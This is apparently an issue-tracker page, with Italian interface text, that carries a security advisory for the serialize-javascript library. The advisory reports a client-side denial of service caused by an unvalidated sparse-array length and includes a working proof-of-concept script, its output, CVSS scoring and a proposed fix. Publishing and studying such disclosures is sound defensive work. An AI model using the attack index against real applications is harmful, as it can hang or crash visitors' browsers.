Security Advisory: serialize-javascript echoes an unvalidated sparse-array `length` into client-side `Array.prototype.slice.call`, enabling browser CPU/memory denial of service
Nessuno ha ancora preso questa issue.
Valutazione
- Difficoltà
- 4/5
- Tempo stimato
- 3-5 giorni
- Idoneità per principianti
- 48/100
- Tipo di issue
- Bug
- Chiarezza
- Abbastanza chiara
- Stato di attività
- Attiva
- Stack tecnologico
- javascript
- Ambito
- security
Direzione di ricerca
Leggi il rilevamento degli array sparsi in index.js:176-181 e la costruzione dell’output in index.js:325, quindi confronta la validazione utilizzata dai rami Date, RegExp e URL. Esegui poc02_sparse_array.js per riprodurre il costo lato client; il lavoro è completato quando il percorso sparso non emette più una lunghezza arbitraria e il lavoro del client rimane proporzionale agli elementi assegnati.
Scritto dal modello di indicizzazione a partire dal testo della issue.
Descrizione
Summary
| Attribute | Value |
|---|---|
| Vendor / Org | Yahoo |
| Product | serialize-javascript |
| Component | index.js — sparse-array serialization branch |
| Affected Versions | >= 5.0.0, <= 7.1.1 (client-side residual of the sparse-array branch) |
| Severity | Medium |
| CVSS 3.1 Score | 6.9 |
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:H |
| CWE | CWE-789 (Memory Allocation with Excessive Size Value), CWE-1284 |
| Affected File | index.js:325 (output construction), index.js:176-181 (sparse detection) |
CVSS 3.1 Breakdown
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:H — Score: 6.9 (Medium)
| Metric | Value | Justification (from the PoC) |
|---|---|---|
| Attack Vector (AV) | N | Attacker controls an array index via a normal network request parameter. |
| Attack Complexity (AC) | L | A single request with a large numeric index; no race or special state. |
| Privileges Required (PR) | N | No authentication needed. |
| User Interaction (UI) | R | A victim must load the page that hydrates the serialized output. |
| Scope (S) | C | Server-produced output crosses into the victim browser, whose resources (a different authority) are exhausted. |
| Confidentiality (C) | N | No data disclosure. |
| Integrity (I) | N | No data modification. |
| Availability (A) | H | The victim browser tab hangs/OOMs materializing an up-to-2^32-1-length array. |
Description
Excessive memory allocation in the sparse-array serialization of Yahoo serialize-javascript >= 5.0.0, <= 7.1.1 allows a remote attacker who controls an array index to cause client-side denial of service, by emitting an array-like literal whose unvalidated length (up to 4,294,967,295) is materialized by Array.prototype.slice.call in the victim's browser.
When a sparse array is serialized, the library emits
Array.prototype.slice.call({..., "length": <N>}), copying the original array's length
into the output with no validation or upper bound. Server-side cost is O(assigned
elements), but the hydrating browser pays O(length). An attacker who controls only an array
index (results[req.query.page] = row) produces a ~86-byte response that forces the client
to iterate up to 2^32-1 times.
Security consequence (so-what): an attacker spends a few dozen bytes to hang or crash
the browser tab of every user who renders the affected page — a decoupled client-side
resource-exhaustion (amplification) DoS.
Relationship to CVE-2026-34043 (GHSA-qj8w-gfj5-8c6v): that advisory fixed the
server-side CPU cost of detecting a large array-like (patched in 7.0.5 via
Array.isArray/Object.keys). This report concerns the still-present client-side
emission at index.js:325, which echoes the length into the output executed by the
victim browser. The two have different sinks and different fixes.
Root Cause
The sparse branch materializes the output by merging the raw length into an object literal:
if (type === 'A') {
return "Array.prototype.slice.call(" +
serialize(Object.assign({ length: arrays[valueIndex].length }, arrays[valueIndex]),
options) + ")"; // index.js:325
}
arrays[valueIndex].length is written verbatim. Unlike the Date (index.js:300), RegExp
(index.js:308-311) and URL (index.js:342) branches, which validate their emitted values,
length receives no Number.isInteger/upper-bound check. The generated
Array.prototype.slice.call({length: 4294967295, ...}) is valid JS whose evaluation in the
browser allocates/iterates a 4.29-billion-slot array.
Reproduction Environment
| Item | Value |
|---|---|
| Runtime | Node.js v26.5.0 |
| serialize-javascript | 7.1.1 (installed from npm registry) |
| OS | macOS (darwin 25.6.0) |
| Build tool | npm |
Proof of Concept
POC Source Code
package.json
{
"name": "sjs-cve-poc",
"version": "1.0.0",
"private": true,
"dependencies": {
"serialize-javascript": "7.1.1"
}
}
poc02_sparse_array.js
// PoC #2 — client-side CPU/memory amplification via unvalidated sparse-array length.
// Reachability: a public HTTP handler assigns rows by an attacker-controlled index.
// serialize-javascript@7.1.1 echoes the array-like `length` verbatim into the output;
// the victim browser's Array.prototype.slice.call pays O(length).
const serialize = require('serialize-javascript');
function serverHandler(query) { // models: app builds page state from request
const results = [];
results[query.page] = { ok: true }; // pure data: attacker controls only an index
return serialize({ results }); // embedded as <script>window.__STATE__=...</script>
}
// --- attacker request ---
const out = serverHandler({ page: 4294967294 });
console.log('server output bytes:', out.length);
console.log('server output :', out);
// --- what the victim browser evaluates (real cost simulation) ---
// Measure the client hydration cost with a smaller but already-crippling length so the
// harness terminates; production `length` = 4294967295 makes this effectively unbounded.
function clientCost(lengthVal) {
const arrayLike = { length: lengthVal, [lengthVal - 1]: { ok: true } };
const t = Date.now();
const arr = Array.prototype.slice.call(arrayLike); // exactly what the output does
return { ms: Date.now() - t, materialized: arr.length };
}
for (const L of [1e6, 1e7, 1e8]) {
const r = clientCost(L);
console.log(`client slice length=${L}: ${r.ms} ms, array elements=${r.materialized}`);
}
// --- control baseline: dense array of same logical size is NOT sparse -> not amplified ---
const dense = serialize({ results: [{ ok: true }] });
console.log('control (dense len=1) output:', dense);
Execution Steps
mkdir poc && cd poc- Save the
package.jsonabove, thennpm install. - Save the source above as
poc02_sparse_array.js. node poc02_sparse_array.js
Actual Execution Evidence
server output bytes: 86
server output : {"results":Array.prototype.slice.call({"4294967294":{"ok":true},"length":4294967295})}
client slice length=1000000: 14 ms, array elements=1000000
client slice length=10000000: 140 ms, array elements=10000000
client slice length=100000000: 1279 ms, array elements=100000000
control (dense len=1) output: {"results":[{"ok":true}]}
Analysis of Results
The server emits a fixed 86-byte string regardless of length, confirming cost is
decoupled from server effort. The client cost grows linearly with the echoed length
(1e6→14ms, 1e7→140ms, 1e8→1279ms); extrapolated to the emitted length of 4,294,967,295
the browser thread is blocked for ~50+ seconds and allocates billions of slots, hanging or
OOM-crashing the tab. The control (a dense one-element array) serializes as a plain
[{"ok":true}] with no slice.call and no amplification — isolating the defect to the
unvalidated sparse-array length echo.
Impact
A single small request lets an unauthenticated attacker embed an amplification bomb into a
page's serialized state; every visitor who hydrates that state suffers a hung/crashed
browser tab. Applications that route user-controlled indices into arrays they later
serialize (pagination, id-keyed result maps) are exposed.
Remediation
Recommended Fix
Validate length once and emit a construction linear in the assigned elements, never
echoing an arbitrary length:
if (type === 'A') {
var src = arrays[valueIndex];
var len = src.length;
if (!Number.isInteger(len) || len > (options.maxArrayLength || 100000)) {
throw new TypeError('Array length exceeds serialization limit');
}
// emit a construction proportional to assigned elements only
...
}
This keeps client cost proportional to the data actually present, a maintainer-owned change
at index.js:325.
Workaround
Consumers should validate/limit any user-controlled array index before serialization and
avoid creating sparse arrays from request data.
References
- Affected source:
index.js:325,index.js:176-181in yahoo/serialize-javascript v7.1.1. - CWE-789: https://cwe.mitre.org/data/definitions/789.html
- CWE-1284: https://cwe.mitre.org/data/definitions/1284.html
- Related: CVE-2026-34043 / GHSA-qj8w-gfj5-8c6v (server-side detection cost, fixed 7.0.5) —
this report is the distinct client-side emission residual.
- Lingua principale
- JavaScript
- Stelle
- 2.9k
- Fork
- 215
- Merge medio
- 1g 12h
- PR unite (30g)
- 2
Guida per i contributori
Nessuna guida per i contributori indicizzata per questo repository
Come iniziare
- Leggi tutta la issue e poi la guida ai contributi del progetto.
- Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
- Fai un fork del repository e lavora su un branch.
- Apri una pull request che faccia riferimento al numero della issue.
Altre issue di yahoo/serialize-javascript
-
Difficoltà 3/5 1-2 giorni Idoneità per principianti 72/100
yahoo/serialize-javascript#230 ·
-
Ad java script Aperta
Difficoltà 5/5 Più di una settimana Idoneità per principianti 20/100
yahoo/serialize-javascript#212 · 1 commento ·
-
Difficoltà 4/5 3-5 giorni Idoneità per principianti 45/100
yahoo/serialize-javascript#208 · 10 commenti · 25 reazioni ·
-
Difficoltà 3/5 1-2 giorni Idoneità per principianti 35/100
yahoo/serialize-javascript#195 ·
-
Serialize regexp to literal Aperta
Difficoltà 3/5 1-2 giorni Idoneità per principianti 45/100
yahoo/serialize-javascript#182 ·
Tutte le issue di yahoo/serialize-javascript
Issue simili
-
bug
Difficoltà 2/5 1-3 ore Idoneità per principianti 76/100
avniproject/avni-client#2135 ·
-
automated broken-link
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 85/100
-
agent/security hive/hosted-available-lke648397-260827-5n31 security
Difficoltà 2/5 1-3 ore Idoneità per principianti 84/100
-
enhancement
Difficoltà 2/5 1-3 ore Idoneità per principianti 70/100
babalae/bettergi-scripts-list#3674 ·
-
A-Release-Notes C-Editing D-Modest S-Ready-For-Implementation
Difficoltà 2/5 1-3 ore Idoneità per principianti 72/100
bevyengine/bevy-website#2595 ·